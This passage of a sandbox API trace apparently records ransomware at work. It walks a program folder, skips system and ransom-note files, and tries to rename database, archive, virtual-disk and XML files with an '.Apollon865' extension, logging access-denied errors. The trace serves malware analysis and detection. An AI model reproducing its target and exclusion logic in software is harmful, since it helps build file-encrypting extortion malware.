	[0076.925] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.925] lstrlenW (lpString="db3") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.925] lstrlenW (lpString="dbf") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.925] lstrlenW (lpString="mdf") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.925] lstrlenW (lpString="mdb") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.925] lstrlenW (lpString="sql") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.925] lstrlenW (lpString="sqlite") returned 6
	[0076.925] lstrcmpiW (lpString1="tl.xml", lpString2="sqlite") returned 1
	[0076.925] lstrlenW (lpString="sqlite3") returned 7
	[0076.926] lstrcmpiW (lpString1="rtl.xml", lpString2="sqlite3") returned -1
	[0076.926] lstrlenW (lpString="sqlitedb") returned 8
	[0076.926] lstrcmpiW (lpString1="_rtl.xml", lpString2="sqlitedb") returned -1
	[0076.926] lstrlenW (lpString="xml") returned 3
	[0076.926] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.926] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.Apollon865") returned 98
	[0076.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.926] GetLastError () returned 0x5
	[0076.926] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml MoveFileEx error 5\r\n") returned 116
	[0076.926] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml MoveFileEx error 5\r\n") returned 116
	[0076.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.926] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3dde
	[0076.926] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x74, lpOverlapped=0x0) returned 1
	[0076.926] CloseHandle (hObject=0xc0) returned 1
	[0076.926] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.927] CloseHandle (hObject=0x0) returned 0
	[0076.927] CloseHandle (hObject=0x0) returned 0
	[0076.927] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".") returned 1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="..") returned 1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="windows") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootmgr") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="temp") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="pagefile.sys") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="boot") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ids.txt") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="ntuser.dat") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="perflogs") returned -1
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2="MSBuild") returned -1
	[0076.927] lstrlenW (lpString="base_altgr.xml") returned 14
	[0076.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87
	[0076.927] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_altgr.xml" | out: lpString1="base_altgr.xml") returned="base_altgr.xml"
	[0076.927] lstrlenW (lpString="base_altgr.xml") returned 14
	[0076.927] lstrlenW (lpString="Apollon865") returned 10
	[0076.927] lstrcmpiW (lpString1="_altgr.xml", lpString2="Apollon865") returned -1
	[0076.927] lstrlenW (lpString=".dll") returned 4
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".dll") returned 1
	[0076.927] lstrlenW (lpString=".lnk") returned 4
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".lnk") returned 1
	[0076.927] lstrlenW (lpString=".ini") returned 4
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".ini") returned 1
	[0076.927] lstrlenW (lpString=".sys") returned 4
	[0076.927] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".sys") returned 1
	[0076.927] lstrlenW (lpString="base_altgr.xml") returned 14
	[0076.927] lstrlenW (lpString="bak") returned 3
	[0076.927] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.927] lstrlenW (lpString="ba_") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.928] lstrlenW (lpString="dbb") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.928] lstrlenW (lpString="vmdk") returned 4
	[0076.928] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.928] lstrlenW (lpString="rar") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.928] lstrlenW (lpString="zip") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.928] lstrlenW (lpString="tgz") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.928] lstrlenW (lpString="vbox") returned 4
	[0076.928] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.928] lstrlenW (lpString="vdi") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.928] lstrlenW (lpString="vhd") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.928] lstrlenW (lpString="vhdx") returned 4
	[0076.928] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.928] lstrlenW (lpString="avhd") returned 4
	[0076.928] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.928] lstrlenW (lpString="db") returned 2
	[0076.928] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.928] lstrlenW (lpString="db2") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.928] lstrlenW (lpString="db3") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.928] lstrlenW (lpString="dbf") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.928] lstrlenW (lpString="mdf") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.928] lstrlenW (lpString="mdb") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.928] lstrlenW (lpString="sql") returned 3
	[0076.928] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.928] lstrlenW (lpString="sqlite") returned 6
	[0076.928] lstrcmpiW (lpString1="gr.xml", lpString2="sqlite") returned -1
	[0076.929] lstrlenW (lpString="sqlite3") returned 7
	[0076.929] lstrcmpiW (lpString1="tgr.xml", lpString2="sqlite3") returned 1
	[0076.929] lstrlenW (lpString="sqlitedb") returned 8
	[0076.929] lstrcmpiW (lpString1="ltgr.xml", lpString2="sqlitedb") returned -1
	[0076.929] lstrlenW (lpString="xml") returned 3
	[0076.929] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.929] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.Apollon865") returned 95
	[0076.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.932] GetLastError () returned 0x5
	[0076.932] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml MoveFileEx error 5\r\n") returned 113
	[0076.932] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml MoveFileEx error 5\r\n") returned 113
	[0076.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.933] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3e52
	[0076.933] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x71, lpOverlapped=0x0) returned 1
	[0076.933] CloseHandle (hObject=0xc0) returned 1
	[0076.933] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.933] CloseHandle (hObject=0x0) returned 0
	[0076.933] CloseHandle (hObject=0x0) returned 0
	[0076.933] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2=".") returned 1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="..") returned 1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="windows") returned -1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="bootmgr") returned -1
	[0076.933] lstrcmpiW (lpString1="base_ca.xml", lpString2="temp") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="pagefile.sys") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="boot") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="ids.txt") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="ntuser.dat") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="perflogs") returned -1
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2="MSBuild") returned -1
	[0076.934] lstrlenW (lpString="base_ca.xml") returned 11
	[0076.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84
	[0076.934] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_ca.xml" | out: lpString1="base_ca.xml") returned="base_ca.xml"
	[0076.934] lstrlenW (lpString="base_ca.xml") returned 11
	[0076.934] lstrlenW (lpString="Apollon865") returned 10
	[0076.934] lstrcmpiW (lpString1="ase_ca.xml", lpString2="Apollon865") returned 1
	[0076.934] lstrlenW (lpString=".dll") returned 4
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2=".dll") returned 1
	[0076.934] lstrlenW (lpString=".lnk") returned 4
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2=".lnk") returned 1
	[0076.934] lstrlenW (lpString=".ini") returned 4
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2=".ini") returned 1
	[0076.934] lstrlenW (lpString=".sys") returned 4
	[0076.934] lstrcmpiW (lpString1="base_ca.xml", lpString2=".sys") returned 1
	[0076.934] lstrlenW (lpString="base_ca.xml") returned 11
	[0076.934] lstrlenW (lpString="bak") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.934] lstrlenW (lpString="ba_") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.934] lstrlenW (lpString="dbb") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.934] lstrlenW (lpString="vmdk") returned 4
	[0076.934] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.934] lstrlenW (lpString="rar") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.934] lstrlenW (lpString="zip") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.934] lstrlenW (lpString="tgz") returned 3
	[0076.934] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.934] lstrlenW (lpString="vbox") returned 4
	[0076.934] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.935] lstrlenW (lpString="vdi") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.935] lstrlenW (lpString="vhd") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.935] lstrlenW (lpString="vhdx") returned 4
	[0076.935] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.935] lstrlenW (lpString="avhd") returned 4
	[0076.935] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.935] lstrlenW (lpString="db") returned 2
	[0076.935] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.935] lstrlenW (lpString="db2") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.935] lstrlenW (lpString="db3") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.935] lstrlenW (lpString="dbf") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.935] lstrlenW (lpString="mdf") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.935] lstrlenW (lpString="mdb") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.935] lstrlenW (lpString="sql") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.935] lstrlenW (lpString="sqlite") returned 6
	[0076.935] lstrcmpiW (lpString1="ca.xml", lpString2="sqlite") returned -1
	[0076.935] lstrlenW (lpString="sqlite3") returned 7
	[0076.935] lstrcmpiW (lpString1="_ca.xml", lpString2="sqlite3") returned -1
	[0076.935] lstrlenW (lpString="sqlitedb") returned 8
	[0076.935] lstrcmpiW (lpString1="e_ca.xml", lpString2="sqlitedb") returned -1
	[0076.935] lstrlenW (lpString="xml") returned 3
	[0076.935] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.935] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.Apollon865") returned 92
	[0076.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.935] GetLastError () returned 0x5
	[0076.935] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml MoveFileEx error 5\r\n") returned 110
	[0076.935] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml MoveFileEx error 5\r\n") returned 110
	[0076.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.936] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3ec3
	[0076.936] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6e, lpOverlapped=0x0) returned 1
	[0076.936] CloseHandle (hObject=0xc0) returned 1
	[0076.936] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.936] CloseHandle (hObject=0x0) returned 0
	[0076.936] CloseHandle (hObject=0x0) returned 0
	[0076.936] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2=".") returned 1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="..") returned 1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="windows") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="bootmgr") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="temp") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="pagefile.sys") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="boot") returned -1
	[0076.936] lstrcmpiW (lpString1="base_heb.xml", lpString2="ids.txt") returned -1
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2="ntuser.dat") returned -1
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2="perflogs") returned -1
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2="MSBuild") returned -1
	[0076.937] lstrlenW (lpString="base_heb.xml") returned 12
	[0076.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0076.937] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base_heb.xml" | out: lpString1="base_heb.xml") returned="base_heb.xml"
	[0076.937] lstrlenW (lpString="base_heb.xml") returned 12
	[0076.937] lstrlenW (lpString="Apollon865") returned 10
	[0076.937] lstrcmpiW (lpString1="se_heb.xml", lpString2="Apollon865") returned 1
	[0076.937] lstrlenW (lpString=".dll") returned 4
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2=".dll") returned 1
	[0076.937] lstrlenW (lpString=".lnk") returned 4
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2=".lnk") returned 1
	[0076.937] lstrlenW (lpString=".ini") returned 4
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2=".ini") returned 1
	[0076.937] lstrlenW (lpString=".sys") returned 4
	[0076.937] lstrcmpiW (lpString1="base_heb.xml", lpString2=".sys") returned 1
	[0076.937] lstrlenW (lpString="base_heb.xml") returned 12
	[0076.937] lstrlenW (lpString="bak") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.937] lstrlenW (lpString="ba_") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.937] lstrlenW (lpString="dbb") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.937] lstrlenW (lpString="vmdk") returned 4
	[0076.937] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.937] lstrlenW (lpString="rar") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.937] lstrlenW (lpString="zip") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.937] lstrlenW (lpString="tgz") returned 3
	[0076.937] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.937] lstrlenW (lpString="vbox") returned 4
	[0076.937] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.937] lstrlenW (lpString="vdi") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.938] lstrlenW (lpString="vhd") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.938] lstrlenW (lpString="vhdx") returned 4
	[0076.938] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.938] lstrlenW (lpString="avhd") returned 4
	[0076.938] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.938] lstrlenW (lpString="db") returned 2
	[0076.938] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.938] lstrlenW (lpString="db2") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.938] lstrlenW (lpString="db3") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.938] lstrlenW (lpString="dbf") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.938] lstrlenW (lpString="mdf") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.938] lstrlenW (lpString="mdb") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.938] lstrlenW (lpString="sql") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.938] lstrlenW (lpString="sqlite") returned 6
	[0076.938] lstrcmpiW (lpString1="eb.xml", lpString2="sqlite") returned -1
	[0076.938] lstrlenW (lpString="sqlite3") returned 7
	[0076.938] lstrcmpiW (lpString1="heb.xml", lpString2="sqlite3") returned -1
	[0076.938] lstrlenW (lpString="sqlitedb") returned 8
	[0076.938] lstrcmpiW (lpString1="_heb.xml", lpString2="sqlitedb") returned -1
	[0076.938] lstrlenW (lpString="xml") returned 3
	[0076.938] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.938] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.Apollon865") returned 93
	[0076.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.941] GetLastError () returned 0x5
	[0076.941] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml MoveFileEx error 5\r\n") returned 111
	[0076.941] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml MoveFileEx error 5\r\n") returned 111
	[0076.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.941] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3f31
	[0076.941] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6f, lpOverlapped=0x0) returned 1
	[0076.941] CloseHandle (hObject=0xc0) returned 1
	[0076.941] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.941] CloseHandle (hObject=0x0) returned 0
	[0076.941] CloseHandle (hObject=0x0) returned 0
	[0076.941] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0076.942] lstrcmpiW (lpString1="base_jpn.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
